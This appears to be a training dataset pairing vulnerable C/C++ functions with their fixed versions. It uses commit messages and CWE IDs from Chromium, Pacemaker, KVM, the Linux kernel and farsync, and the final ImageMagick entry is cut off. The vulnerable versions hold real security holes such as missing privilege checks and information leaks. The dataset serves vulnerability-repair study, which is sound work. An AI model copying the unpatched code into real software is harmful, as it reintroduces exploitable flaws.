instruction
stringclasses 1
value | input
stringlengths 90
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| output
stringlengths 16
138k
| __index_level_0__
int64 165k
175k
|
|---|---|---|---|
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: void XMLHttpRequest::didFailRedirectCheck()
{
networkError();
}
Commit Message: Don't dispatch events when XHR is set to sync mode
Any of readystatechange, progress, abort, error, timeout and loadend
event are not specified to be dispatched in sync mode in the latest
spec. Just an exception corresponding to the failure is thrown.
Clean up for readability done in this CL
- factor out dispatchEventAndLoadEnd calling code
- make didTimeout() private
- give error handling methods more descriptive names
- set m_exceptionCode in failure type specific methods
-- Note that for didFailRedirectCheck, m_exceptionCode was not set
in networkError(), but was set at the end of createRequest()
This CL is prep for fixing crbug.com/292422
BUG=292422
Review URL: https://chromiumcodereview.appspot.com/24225002
git-svn-id: svn://svn.chromium.org/blink/trunk@158046 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-399 | void XMLHttpRequest::didFailRedirectCheck()
{
handleNetworkError();
}
| 171,166 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: crm_client_new(qb_ipcs_connection_t * c, uid_t uid_client, gid_t gid_client)
{
static uid_t uid_server = 0;
static gid_t gid_cluster = 0;
crm_client_t *client = NULL;
CRM_LOG_ASSERT(c);
if (c == NULL) {
return NULL;
}
if (gid_cluster == 0) {
uid_server = getuid();
if(crm_user_lookup(CRM_DAEMON_USER, NULL, &gid_cluster) < 0) {
static bool have_error = FALSE;
if(have_error == FALSE) {
crm_warn("Could not find group for user %s", CRM_DAEMON_USER);
have_error = TRUE;
}
}
}
if(gid_cluster != 0 && gid_client != 0) {
uid_t best_uid = -1; /* Passing -1 to chown(2) means don't change */
if(uid_client == 0 || uid_server == 0) { /* Someone is priveliged, but the other may not be */
best_uid = QB_MAX(uid_client, uid_server);
crm_trace("Allowing user %u to clean up after disconnect", best_uid);
}
crm_trace("Giving access to group %u", gid_cluster);
qb_ipcs_connection_auth_set(c, best_uid, gid_cluster, S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP);
}
crm_client_init();
/* TODO: Do our own auth checking, return NULL if unauthorized */
client = calloc(1, sizeof(crm_client_t));
client->ipcs = c;
client->kind = CRM_CLIENT_IPC;
client->pid = crm_ipcs_client_pid(c);
client->id = crm_generate_uuid();
crm_debug("Connecting %p for uid=%d gid=%d pid=%u id=%s", c, uid_client, gid_client, client->pid, client->id);
#if ENABLE_ACL
client->user = uid2username(uid_client);
#endif
g_hash_table_insert(client_connections, c, client);
return client;
}
Commit Message: High: libcrmcommon: fix CVE-2016-7035 (improper IPC guarding)
It was discovered that at some not so uncommon circumstances, some
pacemaker daemons could be talked to, via libqb-facilitated IPC, by
unprivileged clients due to flawed authorization decision. Depending
on the capabilities of affected daemons, this might equip unauthorized
user with local privilege escalation or up to cluster-wide remote
execution of possibly arbitrary commands when such user happens to
reside at standard or remote/guest cluster node, respectively.
The original vulnerability was introduced in an attempt to allow
unprivileged IPC clients to clean up the file system materialized
leftovers in case the server (otherwise responsible for the lifecycle
of these files) crashes. While the intended part of such behavior is
now effectively voided (along with the unintended one), a best-effort
fix to address this corner case systemically at libqb is coming along
(https://github.com/ClusterLabs/libqb/pull/231).
Affected versions: 1.1.10-rc1 (2013-04-17) - 1.1.15 (2016-06-21)
Impact: Important
CVSSv3 ranking: 8.8 : AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Credits for independent findings, in chronological order:
Jan "poki" Pokorný, of Red Hat
Alain Moulle, of ATOS/BULL
CWE ID: CWE-285 | crm_client_new(qb_ipcs_connection_t * c, uid_t uid_client, gid_t gid_client)
{
static gid_t gid_cluster = 0;
crm_client_t *client = NULL;
CRM_LOG_ASSERT(c);
if (c == NULL) {
return NULL;
}
if (gid_cluster == 0) {
if(crm_user_lookup(CRM_DAEMON_USER, NULL, &gid_cluster) < 0) {
static bool have_error = FALSE;
if(have_error == FALSE) {
crm_warn("Could not find group for user %s", CRM_DAEMON_USER);
have_error = TRUE;
}
}
}
if (uid_client != 0) {
crm_trace("Giving access to group %u", gid_cluster);
/* Passing -1 to chown(2) means don't change */
qb_ipcs_connection_auth_set(c, -1, gid_cluster, S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP);
}
crm_client_init();
/* TODO: Do our own auth checking, return NULL if unauthorized */
client = calloc(1, sizeof(crm_client_t));
client->ipcs = c;
client->kind = CRM_CLIENT_IPC;
client->pid = crm_ipcs_client_pid(c);
client->id = crm_generate_uuid();
crm_debug("Connecting %p for uid=%d gid=%d pid=%u id=%s", c, uid_client, gid_client, client->pid, client->id);
#if ENABLE_ACL
client->user = uid2username(uid_client);
#endif
g_hash_table_insert(client_connections, c, client);
return client;
}
| 169,448 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: virtual scoped_refptr<ui::Texture> CreateTransportClient(
const gfx::Size& size,
float device_scale_factor,
uint64 transport_handle) {
if (!shared_context_.get())
return NULL;
scoped_refptr<ImageTransportClientTexture> image(
new ImageTransportClientTexture(shared_context_.get(),
size, device_scale_factor,
transport_handle));
return image;
}
Commit Message: Implement TextureImageTransportSurface using texture mailbox
This has a couple of advantages:
- allow tearing down and recreating the UI parent context without
losing the renderer contexts
- do not require a context to be able to generate textures when
creating the GLSurfaceHandle
- clearer ownership semantics that potentially allows for more
robust and easier lost context handling/thumbnailing/etc., since a texture is at
any given time owned by either: UI parent, mailbox, or
TextureImageTransportSurface
- simplify frontbuffer protection logic;
the frontbuffer textures are now owned by RWHV where they are refcounted
The TextureImageTransportSurface informs RenderWidgetHostView of the
mailbox names for the front- and backbuffer textures by
associating them with a surface_handle (1 or 2) in the AcceleratedSurfaceNew message.
During SwapBuffers() or PostSubBuffer() cycles, it then uses
produceTextureCHROMIUM() and consumeTextureCHROMIUM()
to transfer ownership between renderer and browser compositor.
RWHV sends back the surface_handle of the buffer being returned with the Swap ACK
(or 0 if no buffer is being returned in which case TextureImageTransportSurface will
allocate a new texture - note that this could be used to
simply keep textures for thumbnailing).
BUG=154815,139616
[email protected]
Review URL: https://chromiumcodereview.appspot.com/11194042
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@171569 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: | virtual scoped_refptr<ui::Texture> CreateTransportClient(
const gfx::Size& size,
float device_scale_factor,
const std::string& mailbox_name) {
if (!shared_context_.get())
return NULL;
scoped_refptr<ImageTransportClientTexture> image(
new ImageTransportClientTexture(shared_context_.get(),
size, device_scale_factor,
mailbox_name));
return image;
}
| 171,361 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: static int nested_vmx_check_permission(struct kvm_vcpu *vcpu)
{
if (!to_vmx(vcpu)->nested.vmxon) {
kvm_queue_exception(vcpu, UD_VECTOR);
return 0;
}
return 1;
}
Commit Message: kvm: nVMX: Enforce cpl=0 for VMX instructions
VMX instructions executed inside a L1 VM will always trigger a VM exit
even when executed with cpl 3. This means we must perform the
privilege check in software.
Fixes: 70f3aac964ae("kvm: nVMX: Remove superfluous VMX instruction fault checks")
Cc: [email protected]
Signed-off-by: Felix Wilhelm <[email protected]>
Signed-off-by: Paolo Bonzini <[email protected]>
CWE ID: | static int nested_vmx_check_permission(struct kvm_vcpu *vcpu)
{
if (vmx_get_cpl(vcpu)) {
kvm_queue_exception(vcpu, UD_VECTOR);
return 0;
}
if (!to_vmx(vcpu)->nested.vmxon) {
kvm_queue_exception(vcpu, UD_VECTOR);
return 0;
}
return 1;
}
| 169,176 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: static int get_gate_page(struct mm_struct *mm, unsigned long address,
unsigned int gup_flags, struct vm_area_struct **vma,
struct page **page)
{
pgd_t *pgd;
p4d_t *p4d;
pud_t *pud;
pmd_t *pmd;
pte_t *pte;
int ret = -EFAULT;
/* user gate pages are read-only */
if (gup_flags & FOLL_WRITE)
return -EFAULT;
if (address > TASK_SIZE)
pgd = pgd_offset_k(address);
else
pgd = pgd_offset_gate(mm, address);
BUG_ON(pgd_none(*pgd));
p4d = p4d_offset(pgd, address);
BUG_ON(p4d_none(*p4d));
pud = pud_offset(p4d, address);
BUG_ON(pud_none(*pud));
pmd = pmd_offset(pud, address);
if (!pmd_present(*pmd))
return -EFAULT;
VM_BUG_ON(pmd_trans_huge(*pmd));
pte = pte_offset_map(pmd, address);
if (pte_none(*pte))
goto unmap;
*vma = get_gate_vma(mm);
if (!page)
goto out;
*page = vm_normal_page(*vma, address, *pte);
if (!*page) {
if ((gup_flags & FOLL_DUMP) || !is_zero_pfn(pte_pfn(*pte)))
goto unmap;
*page = pte_page(*pte);
/*
* This should never happen (a device public page in the gate
* area).
*/
if (is_device_public_page(*page))
goto unmap;
}
get_page(*page);
out:
ret = 0;
unmap:
pte_unmap(pte);
return ret;
}
Commit Message: Merge branch 'page-refs' (page ref overflow)
Merge page ref overflow branch.
Jann Horn reported that he can overflow the page ref count with
sufficient memory (and a filesystem that is intentionally extremely
slow).
Admittedly it's not exactly easy. To have more than four billion
references to a page requires a minimum of 32GB of kernel memory just
for the pointers to the pages, much less any metadata to keep track of
those pointers. Jann needed a total of 140GB of memory and a specially
crafted filesystem that leaves all reads pending (in order to not ever
free the page references and just keep adding more).
Still, we have a fairly straightforward way to limit the two obvious
user-controllable sources of page references: direct-IO like page
references gotten through get_user_pages(), and the splice pipe page
duplication. So let's just do that.
* branch page-refs:
fs: prevent page refcount overflow in pipe_buf_get
mm: prevent get_user_pages() from overflowing page refcount
mm: add 'try_get_page()' helper function
mm: make page ref count overflow check tighter and more explicit
CWE ID: CWE-416 | static int get_gate_page(struct mm_struct *mm, unsigned long address,
unsigned int gup_flags, struct vm_area_struct **vma,
struct page **page)
{
pgd_t *pgd;
p4d_t *p4d;
pud_t *pud;
pmd_t *pmd;
pte_t *pte;
int ret = -EFAULT;
/* user gate pages are read-only */
if (gup_flags & FOLL_WRITE)
return -EFAULT;
if (address > TASK_SIZE)
pgd = pgd_offset_k(address);
else
pgd = pgd_offset_gate(mm, address);
BUG_ON(pgd_none(*pgd));
p4d = p4d_offset(pgd, address);
BUG_ON(p4d_none(*p4d));
pud = pud_offset(p4d, address);
BUG_ON(pud_none(*pud));
pmd = pmd_offset(pud, address);
if (!pmd_present(*pmd))
return -EFAULT;
VM_BUG_ON(pmd_trans_huge(*pmd));
pte = pte_offset_map(pmd, address);
if (pte_none(*pte))
goto unmap;
*vma = get_gate_vma(mm);
if (!page)
goto out;
*page = vm_normal_page(*vma, address, *pte);
if (!*page) {
if ((gup_flags & FOLL_DUMP) || !is_zero_pfn(pte_pfn(*pte)))
goto unmap;
*page = pte_page(*pte);
/*
* This should never happen (a device public page in the gate
* area).
*/
if (is_device_public_page(*page))
goto unmap;
}
if (unlikely(!try_get_page(*page))) {
ret = -ENOMEM;
goto unmap;
}
out:
ret = 0;
unmap:
pte_unmap(pte);
return ret;
}
| 170,224 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: fst_get_iface(struct fst_card_info *card, struct fst_port_info *port,
struct ifreq *ifr)
{
sync_serial_settings sync;
int i;
/* First check what line type is set, we'll default to reporting X.21
* if nothing is set as IF_IFACE_SYNC_SERIAL implies it can't be
* changed
*/
switch (port->hwif) {
case E1:
ifr->ifr_settings.type = IF_IFACE_E1;
break;
case T1:
ifr->ifr_settings.type = IF_IFACE_T1;
break;
case V35:
ifr->ifr_settings.type = IF_IFACE_V35;
break;
case V24:
ifr->ifr_settings.type = IF_IFACE_V24;
break;
case X21D:
ifr->ifr_settings.type = IF_IFACE_X21D;
break;
case X21:
default:
ifr->ifr_settings.type = IF_IFACE_X21;
break;
}
if (ifr->ifr_settings.size == 0) {
return 0; /* only type requested */
}
if (ifr->ifr_settings.size < sizeof (sync)) {
return -ENOMEM;
}
i = port->index;
sync.clock_rate = FST_RDL(card, portConfig[i].lineSpeed);
/* Lucky card and linux use same encoding here */
sync.clock_type = FST_RDB(card, portConfig[i].internalClock) ==
INTCLK ? CLOCK_INT : CLOCK_EXT;
sync.loopback = 0;
if (copy_to_user(ifr->ifr_settings.ifs_ifsu.sync, &sync, sizeof (sync))) {
return -EFAULT;
}
ifr->ifr_settings.size = sizeof (sync);
return 0;
}
Commit Message: farsync: fix info leak in ioctl
The fst_get_iface() code fails to initialize the two padding bytes of
struct sync_serial_settings after the ->loopback member. Add an explicit
memset(0) before filling the structure to avoid the info leak.
Signed-off-by: Dan Carpenter <[email protected]>
Signed-off-by: David S. Miller <[email protected]>
CWE ID: CWE-399 | fst_get_iface(struct fst_card_info *card, struct fst_port_info *port,
struct ifreq *ifr)
{
sync_serial_settings sync;
int i;
/* First check what line type is set, we'll default to reporting X.21
* if nothing is set as IF_IFACE_SYNC_SERIAL implies it can't be
* changed
*/
switch (port->hwif) {
case E1:
ifr->ifr_settings.type = IF_IFACE_E1;
break;
case T1:
ifr->ifr_settings.type = IF_IFACE_T1;
break;
case V35:
ifr->ifr_settings.type = IF_IFACE_V35;
break;
case V24:
ifr->ifr_settings.type = IF_IFACE_V24;
break;
case X21D:
ifr->ifr_settings.type = IF_IFACE_X21D;
break;
case X21:
default:
ifr->ifr_settings.type = IF_IFACE_X21;
break;
}
if (ifr->ifr_settings.size == 0) {
return 0; /* only type requested */
}
if (ifr->ifr_settings.size < sizeof (sync)) {
return -ENOMEM;
}
i = port->index;
memset(&sync, 0, sizeof(sync));
sync.clock_rate = FST_RDL(card, portConfig[i].lineSpeed);
/* Lucky card and linux use same encoding here */
sync.clock_type = FST_RDB(card, portConfig[i].internalClock) ==
INTCLK ? CLOCK_INT : CLOCK_EXT;
sync.loopback = 0;
if (copy_to_user(ifr->ifr_settings.ifs_ifsu.sync, &sync, sizeof (sync))) {
return -EFAULT;
}
ifr->ifr_settings.size = sizeof (sync);
return 0;
}
| 166,439 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: void TextTrack::addCue(TextTrackCue* cue) {
DCHECK(cue);
if (std::isnan(cue->startTime()) || std::isnan(cue->endTime()) ||
cue->startTime() < 0 || cue->endTime() < 0)
return;
if (TextTrack* cue_track = cue->track())
cue_track->removeCue(cue, ASSERT_NO_EXCEPTION);
cue->SetTrack(this);
EnsureTextTrackCueList()->Add(cue);
if (GetCueTimeline() && mode_ != DisabledKeyword())
GetCueTimeline()->AddCue(this, cue);
}
Commit Message: Support negative timestamps of TextTrackCue
Ensure proper behaviour for negative timestamps of TextTrackCue.
1. Cues with negative startTime should become active from 0s.
2. Cues with negative startTime and endTime should never be active.
Bug: 314032
Change-Id: Ib53710e58be0be770c933ea8c3c4709a0e5dec0d
Reviewed-on: https://chromium-review.googlesource.com/863270
Commit-Queue: srirama chandra sekhar <[email protected]>
Reviewed-by: Fredrik Söderquist <[email protected]>
Cr-Commit-Position: refs/heads/master@{#529012}
CWE ID: | void TextTrack::addCue(TextTrackCue* cue) {
DCHECK(cue);
if (std::isnan(cue->startTime()) || std::isnan(cue->endTime()))
return;
if (TextTrack* cue_track = cue->track())
cue_track->removeCue(cue, ASSERT_NO_EXCEPTION);
cue->SetTrack(this);
EnsureTextTrackCueList()->Add(cue);
if (GetCueTimeline() && mode_ != DisabledKeyword())
GetCueTimeline()->AddCue(this, cue);
}
| 171,768 |
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation. | Code: WandExport MagickBooleanType MogrifyImageList(ImageInfo *image_info,
const int argc,const char **argv,Image **images,ExceptionInfo *exception)
{
const char
*option;
ImageInfo
*mogrify_info;
MagickStatusType
status;
PixelInterpolateMethod
interpolate_method;
QuantizeInfo
*quantize_info;
register ssize_t
i;
ssize_t
count,
index;
/*
Apply options to the image list.
*/
assert(image_info != (ImageInfo *) NULL);
assert(image_info->signature == MagickCoreSignature);
assert(images != (Image **) NULL);
assert((*images)->previous == (Image *) NULL);
assert((*images)->signature == MagickCoreSignature);
if ((*images)->debug != MagickFalse)
(void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s",
(*images)->filename);
if ((argc <= 0) || (*argv == (char *) NULL))
return(MagickTrue);
interpolate_method=UndefinedInterpolatePixel;
mogrify_info=CloneImageInfo(image_info);
quantize_info=AcquireQuantizeInfo(mogrify_info);
status=MagickTrue;
for (i=0; i < (ssize_t) argc; i++)
{
if (*images == (Image *) NULL)
break;
option=argv[i];
if (IsCommandOption(option) == MagickFalse)
continue;
count=ParseCommandOption(MagickCommandOptions,MagickFalse,option);
count=MagickMax(count,0L);
if ((i+count) >= (ssize_t) argc)
break;
status=MogrifyImageInfo(mogrify_info,(int) count+1,argv+i,exception);
switch (*(option+1))
{
case 'a':
{
if (LocaleCompare("affinity",option+1) == 0)
{
(void) SyncImagesSettings(mogrify_info,*images,exception);
if (*option == '+')
{
(void) RemapImages(quantize_info,*images,(Image *) NULL,
exception);
break;
}
i++;
break;
}
if (LocaleCompare("append",option+1) == 0)
{
Image
*append_image;
(void) SyncImagesSettings(mogrify_info,*images,exception);
append_image=AppendImages(*images,*option == '-' ? MagickTrue :
MagickFalse,exception);
if (append_image == (Image *) NULL)
{
status=MagickFalse;
break;
}
*images=DestroyImageList(*images);
*images=append_image;
break;
}
if (LocaleCompare("average",option+1) == 0)
{
Image
*average_image;
/*
Average an image sequence (deprecated).
*/
(void) SyncImagesSettings(mogrify_info,*images,exception);
average_image=EvaluateImages(*images,MeanEvaluateOperator,
exception);
if (average_image == (Image *) NULL)
{
status=MagickFalse;
break;
}
*images=DestroyImageList(*images);
*images=average_image;
break;
}
break;
}
case 'c':
{
if (LocaleCompare("channel-fx",option+1) == 0)
{
Image
*channel_image;
(void) SyncImagesSettings(mogrify_info,*images,exception);
channel_image=ChannelFxImage(*images,argv[i+1],exception);
if (channel_image == (Image *) NULL)
{
status=MagickFalse;
break;
}
*images=DestroyImageList(*images);
*images=channel_image;
break;
}
if (LocaleCompare("clut",option+1) == 0)
{
Image
*clut_image,
*image;
(void) SyncImagesSettings(mogrify_info,*images,exception);
image=RemoveFirstImageFromList(images);
clut_image=RemoveFirstImageFromList(images);
if (clut_image == (Image *) NULL)
{
status=MagickFalse;
break;
}
(void) ClutImage(image,clut_image,interpolate_method,exception);
clut_image=DestroyImage(clut_image);
*images=DestroyImageList(*images);
*images=image;
break;
}
if (LocaleCompare("coalesce",option+1) == 0)
{
Image
*coalesce_image;
(void) SyncImagesSettings(mogrify_info,*images,exception);
coalesce_image=CoalesceImages(*images,exception);
if (coalesce_image == (Image *) NULL)
{
status=MagickFalse;
break;
}
*images=DestroyImageList(*images);
*images=coalesce_image;
break;
}
if (LocaleCompare("combine",option+1) == 0)
{
ColorspaceType
colorspace;
Image
*combine_image;
(void) SyncImagesSettings(mogrify_info,*images,exception);
colorspace=(*images)->colorspace;
if ((*images)->number_channels < GetImageListLength(*images))
colorspace=sRGBColorspace;
if (*option == '+')
colorspace=(ColorspaceType) ParseCommandOption(
MagickColorspaceOptions,MagickFalse,argv[i+1]);
combine_image=CombineImages(*images,colorspace,exception);
if (combine_image == (Image *) NULL)
{
status=MagickFalse;
break;
}
*images=DestroyImageList(*images);
*images=combine_image;
break;
}
if (LocaleCompare("compare",option+1) == 0)
{
double
distortion;
Image
*difference_image,
*image,
*reconstruct_image;
MetricType
metric;
/*
Mathematically and visually annotate the difference between an
image and its reconstruction.
*/
(void) SyncImagesSettings(mogrify_info,*images,exception);
image=RemoveFirstImageFromList(images);
reconstruct_image=RemoveFirstImageFromList(images);
if (reconstruct_image == (Image *) NULL)
{
status=MagickFalse;
break;
}
metric=UndefinedErrorMetric;
option=GetImageOption(mogrify_info,"metric");
if (option != (const char *) NULL)
metric=(MetricType) ParseCommandOption(MagickMetricOptions,
MagickFalse,option);
difference_image=CompareImages(image,reconstruct_image,metric,
&distortion,exception);
if (difference_image == (Image *) NULL)
break;
if (*images != (Image *) NULL)
*images=DestroyImageList(*images);
*images=difference_image;
break;
}
if (LocaleCompare("complex",option+1) == 0)
{
ComplexOperator
op;
Image
*complex_images;
(void) SyncImageSettings(mogrify_info,*images,exception);
op=(ComplexOperator) ParseCommandOption(MagickComplexOptions,
MagickFalse,argv[i+1]);
complex_images=ComplexImages(*images,op,exception);
if (complex_images == (Image *) NULL)
{
status=MagickFalse;
break;
}
*images=DestroyImageList(*images);
*images=complex_images;
break;
}
if (LocaleCompare("composite",option+1) == 0)
{
CompositeOperator
compose;
const char*
value;
MagickBooleanType
clip_to_self;
Image
*mask_image,
*new_images,
*source_image;
RectangleInfo
geometry;
/* Compose value from "-compose" option only */
(void) SyncImageSettings(mogrify_info,*images,exception);
value=GetImageOption(mogrify_info,"compose");
if (value == (const char *) NULL)
compose=OverCompositeOp; /* use Over not source_image->compose */
else
compose=(CompositeOperator) ParseCommandOption(
MagickComposeOptions,MagickFalse,value);
/* Get "clip-to-self" expert setting (false is normal) */
clip_to_self=GetCompositeClipToSelf(compose);
value=GetImageOption(mogrify_info,"compose:clip-to-self");
if (value != (const char *) NULL)
clip_to_self=IsStringTrue(value);
value=GetImageOption(mogrify_info,"compose:outside-overlay");
if (value != (const char *) NULL)
clip_to_self=IsStringFalse(value); /* deprecated */
new_images=RemoveFirstImageFromList(images);
source_image=RemoveFirstImageFromList(images);
if (source_image == (Image *) NULL)
break; /* FUTURE - produce Exception, rather than silent fail */
/* FUTURE: this should not be here! - should be part of -geometry */
if (source_image->geometry != (char *) NULL)
{
RectangleInfo
resize_geometry;
(void) ParseRegionGeometry(source_image,source_image->geometry,
&resize_geometry,exception);
if ((source_image->columns != resize_geometry.width) ||
(source_image->rows != resize_geometry.height))
{
Image
*resize_image;
resize_image=ResizeImage(source_image,resize_geometry.width,
resize_geometry.height,source_image->filter,exception);
if (resize_image != (Image *) NULL)
{
source_image=DestroyImage(source_image);
source_image=resize_image;
}
}
}
SetGeometry(source_image,&geometry);
(void) ParseAbsoluteGeometry(source_image->geometry,&geometry);
GravityAdjustGeometry(new_images->columns,new_images->rows,
new_images->gravity,&geometry);
mask_image=RemoveFirstImageFromList(images);
if (mask_image == (Image *) NULL)
status&=CompositeImage(new_images,source_image,compose,
clip_to_self,geometry.x,geometry.y,exception);
else
{
if ((compose == DisplaceCompositeOp) ||
(compose == DistortCompositeOp))
{
status&=CompositeImage(source_image,mask_image,
CopyGreenCompositeOp,MagickTrue,0,0,exception);
status&=CompositeImage(new_images,source_image,compose,
clip_to_self,geometry.x,geometry.y,exception);
}
else
{
Image
*clone_image;
clone_image=CloneImage(new_images,0,0,MagickTrue,exception);
if (clone_image == (Image *) NULL)
break;
status&=CompositeImage(new_images,source_image,compose,
clip_to_self,geometry.x,geometry.y,exception);
status&=CompositeImage(new_images,mask_image,
CopyAlphaCompositeOp,MagickTrue,0,0,exception);
status&=CompositeImage(clone_image,new_images,
OverCompositeOp,clip_to_self,0,0,exception);
new_images=DestroyImageList(new_images);
new_images=clone_image;
}
mask_image=DestroyImage(mask_image);
}
source_image=DestroyImage(source_image);
*images=DestroyImageList(*images);
*images=new_images;
break;
}
if (LocaleCompare("copy",option+1) == 0)
{
Image
*source_image;
OffsetInfo
offset;
RectangleInfo
geometry;
/*
Copy image pixels.
*/
(void) SyncImageSettings(mogrify_info,*images,exception);
(void) ParsePageGeometry(*images,argv[i+2],&geometry,exception);
offset.x=geometry.x;
offset.y=geometry.y;
source_image=(*images);
if (source_image->next != (Image *) NULL)
source_image=source_image->next;
(void) ParsePageGeometry(source_image,argv[i+1],&geometry,
exception);
status=CopyImagePixels(*images,source_image,&geometry,&offset,
exception);
break;
}
break;
}
case 'd':
{
if (LocaleCompare("deconstruct",option+1) == 0)
{
Image
*deconstruct_image;
(void) SyncImagesSettings(mogrify_info,*images,exception);
deconstruct_image=CompareImagesLayers(*images,CompareAnyLayer,
exception);
if (deconstruct_image == (Image *) NULL)
{
status=MagickFalse;
break;
}
*images=DestroyImageList(*images);
*images=deconstruct_image;
break;
}
if (LocaleCompare("delete",option+1) == 0)
{
if (*option == '+')
DeleteImages(images,"-1",exception);
else
DeleteImages(images,argv[i+1],exception);
break;
}
if (LocaleCompare("dither",option+1) == 0)
{
if (*option == '+')
{
quantize_info->dither_method=NoDitherMethod;
break;
}
quantize_info->dither_method=(DitherMethod) ParseCommandOption(
MagickDitherOptions,MagickFalse,argv[i+1]);
break;
}
if (LocaleCompare("duplicate",option+1) == 0)
{
Image
*duplicate_images;
if (*option == '+')
duplicate_images=DuplicateImages(*images,1,"-1",exception);
else
{
const char
*p;
size_t
number_duplicates;
number_duplicates=(size_t) StringToLong(argv[i+1]);
p=strchr(argv[i+1],',');
if (p == (const char *) NULL)
duplicate_images=DuplicateImages(*images,number_duplicates,
"-1",exception);
else
duplicate_images=DuplicateImages(*images,number_duplicates,p,
exception);
}
AppendImageToList(images, duplicate_images);
(void) SyncImagesSettings(mogrify_info,*images,exception);
break;
}
break;
}
case 'e':
{
if (LocaleCompare("evaluate-sequence",option+1) == 0)
{
Image
*evaluate_image;
MagickEvaluateOperator
op;
(void) SyncImageSettings(mogrify_info,*images,exception);
op=(MagickEvaluateOperator) ParseCommandOption(
MagickEvaluateOptions,MagickFalse,argv[i+1]);
evaluate_image=EvaluateImages(*images,op,exception);
if (evaluate_image == (Image *) NULL)
{
status=MagickFalse;
break;
}
*images=DestroyImageList(*images);
*images=evaluate_image;
break;
}
break;
}
case 'f':
{
if (LocaleCompare("fft",option+1) == 0)
{
Image
*fourier_image;
/*
Implements the discrete Fourier transform (DFT).
*/
(void) SyncImageSettings(mogrify_info,*images,exception);
fourier_image=ForwardFourierTransformImage(*images,*option == '-' ?
MagickTrue : MagickFalse,exception);
if (fourier_image == (Image *) NULL)
break;
*images=DestroyImageList(*images);
*images=fourier_image;
break;
}
if (LocaleCompare("flatten",option+1) == 0)
{
Image
*flatten_image;
(void) SyncImagesSettings(mogrify_info,*images,exception);
flatten_image=MergeImageLayers(*images,FlattenLayer,exception);
if (flatten_image == (Image *) NULL)
break;
*images=DestroyImageList(*images);
*images=flatten_image;
break;
}
if (LocaleCompare("fx",option+1) == 0)
{
Image
*fx_image;
(void) SyncImagesSettings(mogrify_info,*images,exception);
fx_image=FxImage(*images,argv[i+1],exception);
if (fx_image == (Image *) NULL)
{
status=MagickFalse;
break;
}
*images=DestroyImageList(*images);
*images=fx_image;
break;
}
break;
}
case 'h':
{
if (LocaleCompare("hald-clut",option+1) == 0)
{
Image
*hald_image,
*image;
(void) SyncImagesSettings(mogrify_info,*images,exception);
image=RemoveFirstImageFromList(images);
hald_image=RemoveFirstImageFromList(images);
if (hald_image == (Image *) NULL)
{
status=MagickFalse;
break;
}
(void) HaldClutImage(image,hald_image,exception);
hald_image=DestroyImage(hald_image);
if (*images != (Image *) NULL)
*images=DestroyImageList(*images);
*images=image;
break;
}
break;
}
case 'i':
{
if (LocaleCompare("ift",option+1) == 0)
{
Image
*fourier_image,
*magnitude_image,
*phase_image;
/*
Implements the inverse fourier discrete Fourier transform (DFT).
*/
(void) SyncImagesSettings(mogrify_info,*images,exception);
magnitude_image=RemoveFirstImageFromList(images);
phase_image=RemoveFirstImageFromList(images);
if (phase_image == (Image *) NULL)
{
status=MagickFalse;
break;
}
fourier_image=InverseFourierTransformImage(magnitude_image,
phase_image,*option == '-' ? MagickTrue : MagickFalse,exception);
if (fourier_image == (Image *) NULL)
break;
if (*images != (Image *) NULL)
*images=DestroyImageList(*images);
*images=fourier_image;
break;
}
if (LocaleCompare("insert",option+1) == 0)
{
Image
*p,
*q;
index=0;
if (*option != '+')
index=(ssize_t) StringToLong(argv[i+1]);
p=RemoveLastImageFromList(images);
if (p == (Image *) NULL)
{
(void) ThrowMagickException(exception,GetMagickModule(),
OptionError,"NoSuchImage","`%s'",argv[i+1]);
status=MagickFalse;
break;
}
q=p;
if (index == 0)
PrependImageToList(images,q);
else
if (index == (ssize_t) GetImageListLength(*images))
AppendImageToList(images,q);
else
{
q=GetImageFromList(*images,index-1);
if (q == (Image *) NULL)
{
(void) ThrowMagickException(exception,GetMagickModule(),
OptionError,"NoSuchImage","`%s'",argv[i+1]);
status=MagickFalse;
break;
}
InsertImageInList(&q,p);
}
*images=GetFirstImageInList(q);
break;
}
if (LocaleCompare("interpolate",option+1) == 0)
{
interpolate_method=(PixelInterpolateMethod) ParseCommandOption(
MagickInterpolateOptions,MagickFalse,argv[i+1]);
break;
}
break;
}
case 'l':
{
if (LocaleCompare("layers",option+1) == 0)
{
Image
*layers;
LayerMethod
method;
(void) SyncImagesSettings(mogrify_info,*images,exception);
layers=(Image *) NULL;
method=(LayerMethod) ParseCommandOption(MagickLayerOptions,
MagickFalse,argv[i+1]);
switch (method)
{
case CoalesceLayer:
{
layers=CoalesceImages(*images,exception);
break;
}
case CompareAnyLayer:
case CompareClearLayer:
case CompareOverlayLayer:
default:
{
layers=CompareImagesLayers(*images,method,exception);
break;
}
case MergeLayer:
case FlattenLayer:
case MosaicLayer:
case TrimBoundsLayer:
{
layers=MergeImageLayers(*images,method,exception);
break;
}
case DisposeLayer:
{
layers=DisposeImages(*images,exception);
break;
}
case OptimizeImageLayer:
{
layers=OptimizeImageLayers(*images,exception);
break;
}
